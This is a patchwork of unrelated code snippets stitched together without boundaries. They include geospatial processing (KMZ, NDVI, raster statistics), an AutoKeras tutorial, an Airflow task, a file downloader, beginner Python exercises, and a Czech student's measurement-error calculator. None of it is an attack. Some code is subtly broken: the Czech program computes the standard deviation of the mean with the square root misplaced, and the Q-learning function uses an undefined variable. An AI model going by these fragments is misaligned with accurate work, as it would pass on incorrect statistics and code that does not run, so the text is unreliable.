    kmz = ZipFile(file, 'r')
    kml_content = kmz.open('doc.kml', 'r').read()

    k = kml.KML()
    k.from_string(kml_content)
    
    docs = list(k.features())
    
    folders = []
    for d in docs:
        folders.extend(list(d.features()))
    
    records = []
    
    while type(folders[0]) is not type(kml.Placemark('{http://www.opengis.net/kml/2.2}', 'id', 'name', 'description')):
        records = []
        for f in folders:
            records.extend(list(f.features()))
        folders = records
    
    names = [element.name for element in folders]

    geoms = [element.geometry for element in folders]
    
    file_name = os.path.basename(file)[:-4]
    
    for (geom, name) in zip(geoms, names):
        geom = remove_third_dimension(geom)
        gdf = gpd.GeoDataFrame(index=[0], crs='epsg:4326', geometry=[geom])
        
        gdf.to_file(outDir+file_name+ "_"+name+'.geojson', driver='GeoJSON')
from google.colab import drive
drive.mount('/content/drive')
base_dir = "/content/drive/MyDrive/vision_computador"
os.chdir(base_dir)
print('actual direccion de trabajo:',base_dir)

# ingresar direccion de la carpeta de trabajo
WORKPLACE_DIR = None
assert WORKPLACE_DIR is not None, "[!] Enter the la direccion de la carpeta de trabajo."
# This function chooses at random which action to be performed within the range 
# of all the available actions.
def ActionChoice(available_actions_range):
    if(sum(PossibleAction)>0):
        next_action = int(ql.random.choice(PossibleAction,1))
    if(sum(PossibleAction)<=0):
        next_action = int(ql.random.choice(5,1))
    return next_action

# Sample next action to be performed
action = ActionChoice(PossibleAction)
I highly recommend you tf.data.Dataset for creating the dataset:

Do all processes (like resize and normalize) that you want on all images with dataset.map.
Instead of using train_test_split, Use dataset.take, datast.skip for splitting dataset.
Code for generating random images and label:

# !pip install autokeras
import tensorflow as tf
import autokeras as ak
import numpy as np

data = np.random.randint(0, 255, (45_000,32,32,3))
label = np.random.randint(0, 10, 45_000)
label = tf.keras.utils.to_categorical(label) 
 Save
Convert data & label to tf.data.Dataset and process on them: (only 55 ms for 45_000, benchmark on colab)

dataset = tf.data.Dataset.from_tensor_slices((data, label))
def resize_normalize_preprocess(image, label):
    image = tf.image.resize(image, (16, 16))
    image = image / 255.0
    return image, label

# %%timeit 
dataset = dataset.map(resize_normalize_preprocess, num_parallel_calls=tf.data.AUTOTUNE)
# 1 loop, best of 5: 54.9 ms per loop
 Save
Split dataset to 80% for train and 20% for test
Train and evaluate AutoKeras.ImageClassifier
dataet_size = len(dataset)
train_size = int(0.8 * dataet_size)
test_size = int(0.2 * len(dataset))

dataset = dataset.shuffle(32)
train_dataset = dataset.take(train_size)
test_dataset = dataset.skip(train_size)

print(f'Size dataset : {len(dataset)}')
print(f'Size train_dataset : {len(train_dataset)}')
print(f'Size test_dataset : {len(test_dataset)}')

clf = ak.ImageClassifier(overwrite=True, max_trials=1)
clf.fit(train_dataset, epochs=1)
print(clf.evaluate(test_dataset))
>>> import shutil, os

>>> os.chdir('C:\\')
>>> shutil.copy('C:\\spam.txt', 'C:\\delicious')
# C:\\delicious\\spam.txt'

>>> shutil.copy('eggs.txt', 'C:\\delicious\\eggs2.txt')
# 'C:\\delicious\\eggs2.txt'
>>> import os
>>> os.makedirs('C:\\delicious\\walnut\\waffles')
>>> import os

>>> os.getcwd()
# 'C:\\Python34'
>>> os.chdir('C:\\Windows\\System32')

>>> os.getcwd()
# 'C:\\Windows\\System32'
>>> my_files = ['accounts.txt', 'details.csv', 'invite.docx']

>>> for filename in my_files:
...     print(os.path.join('C:\\Users\\asweigart', filename))
...
# C:\Users\asweigart\accounts.txt
# C:\Users\asweigart\details.csv
# C:\Users\asweigart\invite.docx
import csv

import json



# Open the JSON file

with open('data.json') as json_file:

    data = json.load(json_file)



# Create a new CSV file and write the data

with open('data.csv', 'w', newline='') as csv_file:

    writer = csv.DictWriter(csv_file, fieldnames=data[0].keys())

    writer.writeheader()

    for row in data:

        writer.writerow(row)
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css">
  
  
    <ul class="nav">
            <li><i class="fas fa-home"></i><a href="#">Home</a></li>
            <li><i class="fas fa-user"></i><a href="#">Profile</a></li>
            <li><i class="fas fa-envelope"></i><a href="#">Messages</a></li>
            <li><i class="fas fa-cog"></i><a href="#">Settings</a></li>
        </ul>
def pull_file(URL, savepath):
    r = requests.get(URL)
    with open(savepath, 'wb') as f:
        f.write(r.content)   
    # Use the print method for logging
    print(f"File pulled from {URL} and saved to {savepath}")

from airflow.operators.python_operator import PythonOperator

# Create the task
pull_file_task = PythonOperator(
    task_id='pull_file',
    # Add the callable
    python_callable=pull_file,
    # Define the arguments
    op_kwargs={'URL':'http://dataserver/sales.json', 'savepath':'latestsales.json'},
    dag=process_sales_dag
)
import pandas as pd
import geopandas as gps
import datetime
import ee

ee.Authenticate()
ee.Initialize()

from google.colab import drive
drive.mount('/content/drive')

"""Selccionar Cultivo"""
#Maiz_str = '/content/drive/MyDrive/Puntos/Maiz.csv'
#df = pd.read_csv(Maiz_str, parse_dates=['Fecha_Siembra', 'Rango_Floor','Rango_Top'])

Soja_str = '/content/drive/MyDrive/Puntos/Soja.csv'
df = pd.read_csv(Soja_str, parse_dates=['Fecha_Cosecha', 'R3', 'R6'])
# En archivo de soja fila 315, columna Fecha_Cosecha modifiqué año 0201 por 2016 

df['Start_Date'] = df['R3']
df['End_Date'] = df['R6']

df = df[df['Start_Date'].notna()]
df = df[df['End_Date'].notna()]
df = df[df['Longitud'].notna()]
df = df[df['Latitud'].notna()]

new_df = pd.DataFrame([],columns=['id', 'longitude', 'latitude', 'time', 'NDVI', 'Parcela','Codigo_Lote'])

for index, row in df.iterrows():

    feature = ee.Algorithms.GeometryConstructors.Point([row.Longitud,row.Latitud])

    Start_Date = ee.Date(row.Start_Date)
    End_Date = ee.Date(row.End_Date)

    dataset = ee.ImageCollection("MODIS/061/MOD13Q1").select('NDVI').filter(ee.Filter.date(Start_Date,End_Date))
    NDVIvalues = dataset.getRegion(feature, 250).getInfo()
    NDVI_df = pd.DataFrame(NDVIvalues)
    NDVI_df.columns = NDVI_df.iloc[0]
    NDVI_df = NDVI_df.iloc[1:].reset_index(drop=True)
    NDVI_df.insert(1, "Parcela", row.Parcela)
    NDVI_df.insert(1, "Codigo_Lote", row.Codigo_Lote)
    new_df = new_df.append(NDVI_df)

new_df.to_csv('/content/drive/MyDrive/Puntos/NDVI_Puntos.csv',header=True, index=False)
# Je to na tema co jsme delali ve fyzice jen cast tridy a nevim jestli je to latka ale pokud ano tak tohle muze byt jako kontrola kdyz by na to byl trrrreba tesst
# Tady je celej kod
# Nakodoval jsem to já, není to ukradnutý
# Mělo by to fungovat, 1x jsem to zkoušel počítat ručně a přes program. Řučně to trvalo tak 100x dýl a ještě to nebylo přesný. A funguje to
# Asi to neni nic extre protoze nejsem 6tilety študent, ale účel to plní




# Dalsi projekty kdyztak na kubasobr.blogspot.com
import random
import time
import math

import os

def Zacatek():
    ascii_art1 = """ .----------------.  .----------------.  .----------------.  .----------------. 
| .--------------. || .--------------. || .--------------. || .--------------. |
| |    _______   | || |     ____     | || | ____    ____ | || | ____   ____  | |
| |   /  ___  |  | || |   .'    `.   | || ||_   \  /   _|| || ||_  _| |_  _| | |
| |  |  (__ \_|  | || |  /  .--.  \  | || |  |   \/   |  | || |  \ \   / /   | |
| |   '.___`-.   | || |  | |    | |  | || |  | |\  /| |  | || |   \ \ / /    | |
| |  |`\____) |  | || |  \  `--'  /  | || | _| |_\/_| |_ | || |    \ ' /     | |
| |  |_______.'  | || |   `.____.'   | || ||_____||_____|| || |     \_/      | |
| |              | || |              | || |              | || |              | |
| '--------------' || '--------------' || '--------------' || '--------------' |
 '----------------'  '----------------'  '----------------'  '----------------' """
    print(ascii_art1)
    ascii_art2 = """      _       _          _       ____        _          
     | | __ _| | ___   _| |__   / ___|  ___ | |__  _ __ 
  _  | |/ _` | |/ / | | | '_ \  \___ \ / _ \| '_ \| '__|
 | |_| | (_| |   <| |_| | |_) |  ___) | (_) | |_) | |   
  \___/ \__,_|_|\_\\__,_|_.__/  |____/ \___/|_.__/|_|   
                                                        """
    print(ascii_art2)

    print("Vítejte u programu SOMV, který jsem vytvořil jako malý projekt do fyziky když jsem se nudil. SOMV stojí pro Směrodatná odchylka měření veličiny"+"\n"+"Program je určen jako pomůcka k měření. Program vám vypočítá SOMV a i Relativní odchylku  aby jste věděli jak přesně jste měřili"+"\n"+"Program vytvoří i graf s vámi danými hodnotami"+"\n"+"Je to vše naprogramované přes python, jelikož to je jediný co umím vcelku, max základy html css a javascript."+"\n"+"\n"+"NÁVOD k použití:"+"\n"+"Program se vás bude ptát na měřené hodnoty a vy je bude zadávat ve STEJNÝCH jednotkách(v nové verzi možná vylepším)"+"\n"+"Jakmile zadáte všechny hodnoty co chcete tak program sám řekne co dál."+"\n"+"Autorem je Jakub Šobr Videnska 1.B, update ohlášeny předem na kubasobr.blogspot.cz")


    print("")
    print("START PROGRAMU")
    random_cislo = random.randint(0,100)
    start_otazka = int(input("Napište číslo "+str(random_cislo) +" pro start programu: "))
    if start_otazka == random_cislo:
        Informace_funkce()
    else:
        print("")
        print("OZNÁMENÍ")
        print("Bud jste zadali špatné číslo a nebo nastalo v programu k chybě")
        print("Za pět sekund bude zapnuta začáteční funkce znovu.")
        print("")
        time.sleep(5)
        Zacatek()

def Informace_funkce():
    print("")
    print("PROGRAM STARTUJE")
    otazka_pocet_hodnot = int(input("INFORMACE 1 - Kolikrát jste provedli měření?: "))
    otazka_jednotka = input("INFORMACE 2 - Zadejte jednotku v níž jste prováděli měření (cm,dm,m,litr apod): ")
    tts = input("INFORMACE 3 - Chcete aby program výsledek zazněl jako text to speech? ano / ne: ")


    def Hlavni_funkce(pocet_hodnot,jednotka):
        print("")
        aktualni_cislo = 1
        hodnoty_list = []
        index = 0
        celkove = 0

        for _ in range(pocet_hodnot):
            hodnota = float(input("Zadejte hodnotu č."+str(aktualni_cislo)+" : "))
            celkove += hodnota
            hodnoty_list.insert(index, hodnota)
            index +=1
            aktualni_cislo +=1


        ar_prumer = celkove/pocet_hodnot
        def Casti(aritmeticky_prumer):
            index_cteni  = 0
            soucet_casti = 0
            for hodnota in hodnoty_list:
                cast = (hodnota - aritmeticky_prumer) ** 2
                soucet_casti += cast
                index_cteni += 1
            # Odmocní celkový součet
            citatel = soucet_casti ** 0.5
            jmenovatel = pocet_hodnot *(pocet_hodnot-1)

            odchylka = citatel /jmenovatel
            minus_interval = aritmeticky_prumer-odchylka
            plus_interval = aritmeticky_prumer+odchylka
            relativni_odchylka = odchylka/aritmeticky_prumer

            # Rounding
            round_odchylka = round(odchylka,3)
            round_minus_interval = round(minus_interval,3)
            round_plus_interval = round(plus_interval, 3)
            round_relativni_odchylka = round(relativni_odchylka, 3)

            # Uprava pro tts
            uprava_round_odchylka = str(round_odchylka).replace('.', ',')
            uprava_round_minus_interval = str(round_minus_interval).replace('.', ',')
            uprava_round_plus_interval = str(round_plus_interval).replace('.', ',')
            uprava_round_relativni_odchylka = str(round_relativni_odchylka).replace('.', ',')
            if odchylka > 0.5:
                text = ("Systém odhalil nepřesné měření! Odchylka je +- " + str(round_odchylka) + str(
                    jednotka) + " Reálná hodnota je někde mezi " + str(round_minus_interval) + " a " + str(
                    round_plus_interval) + ". Relativní odchylka je " + str(
                    round_relativni_odchylka) + " Děkujeme za použití programu.")
                presne_hodnoty = ("Odchylka = "+str(odchylka)+"\n"+"Interval = od "+str(minus_interval)+" po "+str(plus_interval)+"\n"+"Relativní odchylka = "+str(relativni_odchylka))
                print(text)
                presne_ot = int(input("Chcete vidět přesné hodnoty(1) nebo stačí obecnější?(2): "))
                if presne_ot == 1:
                    print(presne_hodnoty)

            else:
                text = ("Měření je v pořádku! Odchylka je +- " + str(round_odchylka) + str(
                    jednotka) + " Reálná hodnota je někde mezi " + str(round_minus_interval) + " a " + str(
                    round_plus_interval) + ". Relativní odchylka je " + str(
                    round_relativni_odchylka) + " Děkujeme za použití programu.")
                presne_hodnoty = ("Odchylka = "+str(odchylka)+"\n"+"Interval = od "+str(minus_interval)+" po "+str(plus_interval)+"\n"+"Relativní odchylka = "+str(relativni_odchylka))
                print(text)
                presne_ot = int(input("Chcete vidět přesné hodnoty(1) nebo stačí obecnější?(2): "))
                if presne_ot == 1:
                    print(presne_hodnoty)


            def Tts():
                # User Inteface
                if odchylka > 1:
                    text = ("Systém odhalil nepřesné měření! Odchylka je +- " + str(uprava_round_odchylka) + str(
                        jednotka) + " Reálná hodnota je někde mezi " + str(uprava_round_minus_interval) + " a " + str(
                        uprava_round_plus_interval) + ". Relativní odchylka je " + str(
                        uprava_round_relativni_odchylka) + " Děkujeme za použití programu.")
                    print(text)
                else:
                    text = ("Měření je v pořádku! Odchylka je +- " + str(uprava_round_odchylka) + str(
                        jednotka) + " Reálná hodnota je někde mezi " + str(uprava_round_minus_interval) + " a " + str(
                        uprava_round_plus_interval) + ". Relativní odchylka je " + str(
                        uprava_round_relativni_odchylka) + " Děkujeme za použití programu.")
                    print(text)

                from gtts import gTTS
                import os

                # Text, který chcete převést na hlas
                if odchylka > 1:
                    text = "Systém odhalil nepřesné měření! Odchylka je +-" + str(round_odchylka) + " " + str(
                        jednotka) + "Reálná hodnota je někde mezi " + str(round_minus_interval) + " a " + str(
                        round_plus_interval) + ". Relativní odchylka je " + str(
                        round_relativni_odchylka) + "Děkujeme za použití programu."
                else:
                    text = "Měření je v pořádku! Odchylka je +-" + str(round_odchylka) + " " + str(
                        jednotka) + "Reálná hodnota je někde mezi " + str(round_minus_interval) + " a " + str(
                        round_plus_interval) + ". Relativní odchylka je " + str(
                        round_relativni_odchylka) + "Děkujeme za použití programu."

                # Vytvoření instance gTTS s textem a nastavením jazyka na češtinu
                tts = gTTS(text, lang='cs')

                # Uložení hlasového souboru na disk
                tts.save("nahravka.mp3")

                # Přehrání hlasového souboru (vyžaduje externí přehrávač)
                os.system("nahravka.mp3")
            def graf_menu():
                text = """                   __ 
   __ _ _ __ __ _ / _|
  / _` | '__/ _` | |_ 
 | (_| | | | (_| |  _|
  \__, |_|  \__,_|_|  
  |___/               """
                print(text)
                otazka = input("Chcete zobrazit hodnoty ve grafu? ano / ne: ")
                if otazka == "ano":
                    graf()
                else:
                    print("Děkujeme za použití programu. Program se vypne za 10 sekund")
                    time.sleep(10)
            def graf():
                import matplotlib.pyplot as plt

                import matplotlib.pyplot as plt
                import numpy as np

                #hodnoty_list = [15, 18, 12, 25, 14]
                jednotka = "cm"
                poradi = list(range(1, pocet_hodnot + 1))  # Od 1 do pocet_hodnot

                # Příprava dat
                x = poradi
                y = hodnoty_list

                # Vytvoření čárového grafu
                plt.plot(x, y, label='Vámi změřené hodnoty', color='b')

                # Přidání první horizontální čáry na hodnotu 16 s červenou barvou
                plt.axhline(y=minus_interval, color='r', linestyle='-.', label='Mínusový interval')

                # Přidání druhé horizontální čáry na hodnotu 22 s červenou barvou
                plt.axhline(y=plus_interval, color='r', linestyle='-.', label='Plusový interval')

                # Přidání tučné zelené čáry na hodnotu 20
                plt.axhline(y=aritmeticky_prumer, color='g', linestyle='--', linewidth=3, label='Aritmetický průměr')

                # Vyplnění prostoru mezi červenými čarami
                plt.fill_between(x, minus_interval, plus_interval, color='yellow', alpha=0.5, label='Interval odchylky')

                # Nastavení popisků os
                plt.ylabel('Hodnoty v ' + jednotka)
                plt.xlabel('Pořadí')

                # Zobrazení legendy
                plt.legend()

                # Zobrazení grafu
                plt.show()

            if tts == "ano":
                Tts()
                graf_menu()
            else:
                graf_menu()

        Casti(ar_prumer)







    Hlavni_funkce(otazka_pocet_hodnot,otazka_jednotka)

Zacatek()
# made by jkob sobr 23 original
!pip install rasterstats
!pip install rasterio
!pip install leafmap

import glob
import pandas as pd
import rasterio
from rasterio.mask import mask
import geopandas as gps
from rasterstats import zonal_stats

from google.colab import drive
drive.mount('/content/drive')

files = glob.glob(f"/content/drive/MyDrive/Sura/Datos TMax/2011_15/SAMeT_CPTEC_TMAX_2013*.nc")
print(len(files))

grid_str = '/content/drive/MyDrive/Sura/Seccionales_Policiales_WGS84_Selected.shp'
poligonos = gps.read_file(grid_str)

df = pd.DataFrame([], columns=['fecha', 'median', 'CODIGOSECC'])

for file in files:

    with rasterio.open('netcdf:'+ file + ':tmax') as msla_nc:
        msla_nc_data = msla_nc.read(1)

    affine= msla_nc.transform

    print(file)
    for index, row in poligonos.iterrows():
        features = row.geometry

        zs = zonal_stats(features, msla_nc_data,affine=affine,all_touched= False,
                    stats="median")

        df = df.append(pd.DataFrame([[zs[0].get('median'), str(file)[-11:-3],row['CODIGOSECC']]],
                    columns=['median', 'fecha','CODIGOSECC']))

        print(row['CODIGOSECC'])

df.to_csv('/content/drive/MyDrive/Sura/Tmax2013.csv',header=True, index=False)


import glob
import pandas as pd

df = pd.DataFrame([], columns=['fecha', 'median', 'CODIGOSECC'])

files = glob.glob(f"/content/drive/MyDrive/Sura/Datos TMax/Tmax2*.csv")
print(len(files))
for file in files:
  df = df.append(pd.read_csv(file))
#print(df)
df['fecha'] = df['fecha'].astype(str)
df['year'] = df.fecha.str[:4]
df['month'] = df.fecha.str[4:6]
df['day'] = df.fecha.str[-2:]
#display(df.groupby('year').count())

df.to_csv('/content/drive/MyDrive/Sura/TmaxCompleto.csv',header=True, index=False)
import os
import requests
from bs4 import BeautifulSoup
import urllib.request
from urllib.parse import urljoin

base_url = 'http://ftp.cptec.inpe.br/'

baseDir = 'modelos/tempo/SAMeT/DAILY/TMAX/'

outputDir = '/Users/agroclimate/Documents/PriceFrobes/Uruguay/Sura/CPTEC/Faltantes/'

years = list(range(2022, 2023))
months = list(range(1,4))+list(range(10, 13))
#months = list(range(10, 13))
for year in years:

    for month in months:
        if month < 10:
            ftp_path = base_url + baseDir + str(year) + '/0' + str(month) + '/'
        elif month >= 10:
            ftp_path = base_url + baseDir + str(year) + '/' + str(month) + '/'
        
        # List folder content
        response = requests.get(ftp_path)
        
        soup = BeautifulSoup(response.content, 'html.parser')
        # Find all the 'a' tags (hyperlinks) on the page
        links = soup.find_all('a')

        # Extract filenames from the href attribute of 'a' tags
        files = [link['href'] for link in links if link.has_attr('href')]

        # Filter out directories and other unwanted links
        files = [filename for filename in files if filename.endswith('.nc')]
    
        for file in files:
            try:
                file_url = urljoin(ftp_path, file)

                to_download = (outputDir + file)

                # Download the file
                urllib.request.urlretrieve(file_url, to_download)

                print(f"Downloaded: {file}")

            except:
                print("Error")
SLP = SLP.assign_coords(longitude=(((SLP.longitude + 180) % 360) -180))
Z = Z.assign_coords(longitude=(((Z.longitude + 180) % 360) -180))
SLP = SLP.sortby(SLP['longitude'])
Z = Z.sortby(Z['longitude'])
.\env\Scripts\activate
find_item = input("Enter the item to be searched here:- ").lower()

items = {'wand': 5, 'telescope': 2, 'feather pen': 7}

for thing in items:
    if thing == find_item:
        print(f"{items[thing]} units of {thing} are present.")
        break
else:
    print('No stock left! You need to go and buy!!')
numbers = [51, 32, 63, 74, 45, 36, 47]

for i in numbers:
   pass
numbers = [51, 32, 63, 74, 45, 36, 47]

for num in numbers:
    if num % 2 == 0:
        continue
    else:
        print(num)
numbers = [51, 32, 63, 74, 45, 36, 47]

for num in numbers:
    if num % 5 == 0:
        print(num)
        break
wizard_list = ["Wand", "Cauldron", "crystal phials", \
        "telescope", "brass scales", "Owl", \
        "Cat", "Toad", \
        "Feather"]

for items in wizard_list:
    print(items)
wizard_list = ["Wand", "Cauldron", "crystal phials", \
        "telescope", "brass scales", "Owl", \
        "Cat", "Toad", \
        "Feather pen"]

print(wizard_list[0])
print(wizard_list[1])
print(wizard_list[2])
print(wizard_list[3])
print(wizard_list[4])
print(wizard_list[5])
print(wizard_list[6])
print(wizard_list[7])
print(wizard_list[8])
 _____________________
|  _________________  |
| | Pythonista   0. | |  .----------------.  .----------------.  .----------------.  .----------------. 
| |_________________| | | .--------------. || .--------------. || .--------------. || .--------------. |
|  ___ ___ ___   ___  | | |     ______   | || |      __      | || |   _____      | || |     ______   | |
| | 7 | 8 | 9 | | + | | | |   .' ___  |  | || |     /  \     | || |  |_   _|     | || |   .' ___  |  | |
| |___|___|___| |___| | | |  / .'   \_|  | || |    / /\ \    | || |    | |       | || |  / .'   \_|  | |
| | 4 | 5 | 6 | | - | | | |  | |         | || |   / ____ \   | || |    | |   _   | || |  | |         | |
| |___|___|___| |___| | | |  \ `.___.'\  | || | _/ /    \ \_ | || |   _| |__/ |  | || |  \ `.___.'\  | |
| | 1 | 2 | 3 | | x | | | |   `._____.'  | || ||____|  |____|| || |  |________|  | || |   `._____.'  | |
| |___|___|___| |___| | | |              | || |              | || |              | || |              | |
| | . | 0 | = | | / | | | '--------------' || '--------------' || '--------------' || '--------------' |
| |___|___|___| |___| |  '----------------'  '----------------'  '----------------'  '----------------' 
|_____________________|
                           Welcome to pythonista Calculator
                  We support the following operations on two numbers:
                  - subraction
                  + addition
                  * multiplication
                  / division
                  ** exponention
                  % modular division

Enter 1st number:- 13
Enter 2nd number:- 2 
Enter the operator here:- *
13 * 2 = 26
calc = """
 _____________________
|  _________________  |
| | Pythonista   0. | |  .----------------.  .----------------.  .----------------.  .----------------. 
| |_________________| | | .--------------. || .--------------. || .--------------. || .--------------. |
|  ___ ___ ___   ___  | | |     ______   | || |      __      | || |   _____      | || |     ______   | |
| | 7 | 8 | 9 | | + | | | |   .' ___  |  | || |     /  \     | || |  |_   _|     | || |   .' ___  |  | |
| |___|___|___| |___| | | |  / .'   \_|  | || |    / /\ \    | || |    | |       | || |  / .'   \_|  | |
| | 4 | 5 | 6 | | - | | | |  | |         | || |   / ____ \   | || |    | |   _   | || |  | |         | |
| |___|___|___| |___| | | |  \ `.___.'\  | || | _/ /    \ \_ | || |   _| |__/ |  | || |  \ `.___.'\  | |
| | 1 | 2 | 3 | | x | | | |   `._____.'  | || ||____|  |____|| || |  |________|  | || |   `._____.'  | |
| |___|___|___| |___| | | |              | || |              | || |              | || |              | |
| | . | 0 | = | | / | | | '--------------' || '--------------' || '--------------' || '--------------' |
| |___|___|___| |___| |  '----------------'  '----------------'  '----------------'  '----------------' 
|_____________________|
                           Welcome to pythonista Calculator
                  We support the following operations on two numbers:
                  - subraction
                  + addition
                  * multiplication
                  / division
                  ** exponention
                  % modular division
"""
print(calc)
first_number = int(input("Enter 1st number:- "))
second_number = int(input("Enter 2nd number:- "))
operator_ = input("Enter the operator here:- ")

if operator_ == "-":
    result = first_number - second_number
    print(f"{first_number} {operator_} {second_number} = {result}")

elif operator_ == "+":
    result = first_number + second_number
    print(f"{first_number} {operator_} {second_number} = {result}")

elif operator_ == "*":
    result = first_number * second_number
    print(f"{first_number} {operator_} {second_number} = {result}")

elif operator_ == "/":
    result = first_number / second_number
    print(f"{first_number} {operator_} {second_number} = {result}")

elif operator_ == "**":
    result = first_number ** second_number
    print(f"{first_number} {operator_} {second_number} = {result}")

elif operator_ == "%":
    result = first_number % second_number
    print(f"{first_number} {operator_} {second_number} = {result}")

else:
    print("You entered an invalid operator!!")
a = int(input("Enter value of a:-\n"))
b = int(input("Enter value of b:-\n"))
print("a is greater than b") if a > b else print("b is greater than a")
num = -19

if num>=0:
    if type(num)==float:
        print(f"{num} is a positive floating-point number.")
    elif type(num)==int:
        print(f"{num} is a positive integer.")

else:
    if type(num)==float:
        print(f"{num} is a negative floating-point number.")
    elif type(num)==int:
        print(f"{num} is a negative integer.")
age = 19

if age==18:
    print("You're 18 go through the next check to know whether you qualify for license or not.")
if age > 18:
    print("You are above 18 you do qualify age criteria for license.")
else:
    print(f"You are not yet 18 come after {18-age} years to qualify the age criteria.")
age = 19

if age==18:
    print("You're 18 go through the next check to know whether you qualify for license or not.")
elif age > 18:
    print("You are above 18 you do qualify age criteria for license.")
else:
    print(f"You are not yet 18 come after {18-age} years to qualify the age criteria.")
num = -19

if num>=0:
    print(f"{num} is a positive number.")
else:
    print(f"{num} is a negative number.")

print("This will always be printed")
Welcome to the fun world ladies and gentleman


⠀⠀⠀⠀⠀⠀⠀⣠⡔⠚⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠑⠢⢄⠀⢀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⠔⠋⠻⢿⣷⣦⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣽⣧⣷⠀⠀⠀⠀
⠀⠀⢀⠴⠁⠀⠀⠀⠀⢈⣹⣿⣿⣷⠀⠀⠀⠀⠀⢾⣿⣿⣟⠋⠁⠈⠳⡀⠀⠀
⠀⢠⠊⣀⣤⠴⠶⠖⢛⠻⣿⣿⣭⣀⣀⠀⠀⠀⠀⠀⠉⠻⡿⠳⠖⠶⠶⠟⠓⠲
⣴⢣⡞⡉⢄⠒⡈⠜⡀⢾⣏⠉⠙⠛⠻⠿⢿⣿⣶⣶⣿⠿⢷⡡⢘⡐⢢⠘⡄⢂
⣿⡏⡐⢌⠢⠑⡌⠂⢥⣿⣿⣦⣤⣀⣀⠀⠀⠀⠀⠀⠀⣀⣼⣷⠠⠘⡄⠣⡐⠂..
⡟⣷⠀⢆⠢⡑⣈⢡⡾⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡷⣅⠰⢁...⡡
⡇⠈⠻⣦⣴⣤⠶⠋⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠈⠉⠓⠒⢪
⡇⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡃⠀⠀⠀⠀⢸
⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⢸
⠘⡄⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⢀⠏
⠀⠙⣄⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀⠀⣠⠏⠀
⠀⠀⠈⠢⡀⠀⠀⠀⠀⠀⠀⠀⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⠀⢀⡴⠁⠀⠀
⠀⠀⠀⠀⠈⠲⢄⠀⠀⠀⠀⠀⠀⠉⠿⣿⣿⣿⣿⣿⠿⠋⠀⣠⠔⠋⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠙⠒⠤⣤⣀⣀⣀⣀⣀⣈⣉⣉⣠⠤⠖⠏⠁

Enter any of the words below and press enter to know its meaning in the fun world
['Bumfuzzle', 'Everywhen', 'Erf', 'Obelus', 'Bumbershoot']

Enter the word here:- Obelus
searching...

The meaning of 'Obelus' in our world is:-  the symbol used for division in a math problem
print("\nWelcome to the fun world ladies and gentleman\n")
print("""
⠀⠀⠀⠀⠀⠀⠀⣠⡔⠚⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠑⠢⢄⠀⢀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⠔⠋⠻⢿⣷⣦⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣽⣧⣷⠀⠀⠀⠀
⠀⠀⢀⠴⠁⠀⠀⠀⠀⢈⣹⣿⣿⣷⠀⠀⠀⠀⠀⢾⣿⣿⣟⠋⠁⠈⠳⡀⠀⠀
⠀⢠⠊⣀⣤⠴⠶⠖⢛⠻⣿⣿⣭⣀⣀⠀⠀⠀⠀⠀⠉⠻⡿⠳⠖⠶⠶⠟⠓⠲
⣴⢣⡞⡉⢄⠒⡈⠜⡀⢾⣏⠉⠙⠛⠻⠿⢿⣿⣶⣶⣿⠿⢷⡡⢘⡐⢢⠘⡄⢂
⣿⡏⡐⢌⠢⠑⡌⠂⢥⣿⣿⣦⣤⣀⣀⠀⠀⠀⠀⠀⠀⣀⣼⣷⠠⠘⡄⠣⡐⠂..
⡟⣷⠀⢆⠢⡑⣈⢡⡾⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡷⣅⠰⢁...⡡
⡇⠈⠻⣦⣴⣤⠶⠋⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠈⠉⠓⠒⢪
⡇⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡃⠀⠀⠀⠀⢸
⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⢸
⠘⡄⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⢀⠏
⠀⠙⣄⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀⠀⣠⠏⠀
⠀⠀⠈⠢⡀⠀⠀⠀⠀⠀⠀⠀⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⠀⢀⡴⠁⠀⠀
⠀⠀⠀⠀⠈⠲⢄⠀⠀⠀⠀⠀⠀⠉⠿⣿⣿⣿⣿⣿⠿⠋⠀⣠⠔⠋⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠙⠒⠤⣤⣀⣀⣀⣀⣀⣈⣉⣉⣠⠤⠖⠏⠁
""")

fun_world_dictionary = {'Bumfuzzle': "confused",
                        'Everywhen': "all the time",
                        'Erf': "plot of land",
                        'Obelus': " the symbol used for division in a math problem",
                        'Bumbershoot': "umbrella"}

# I know that it's not quiet funnny(ok not at all funny). But, please forgive me for that

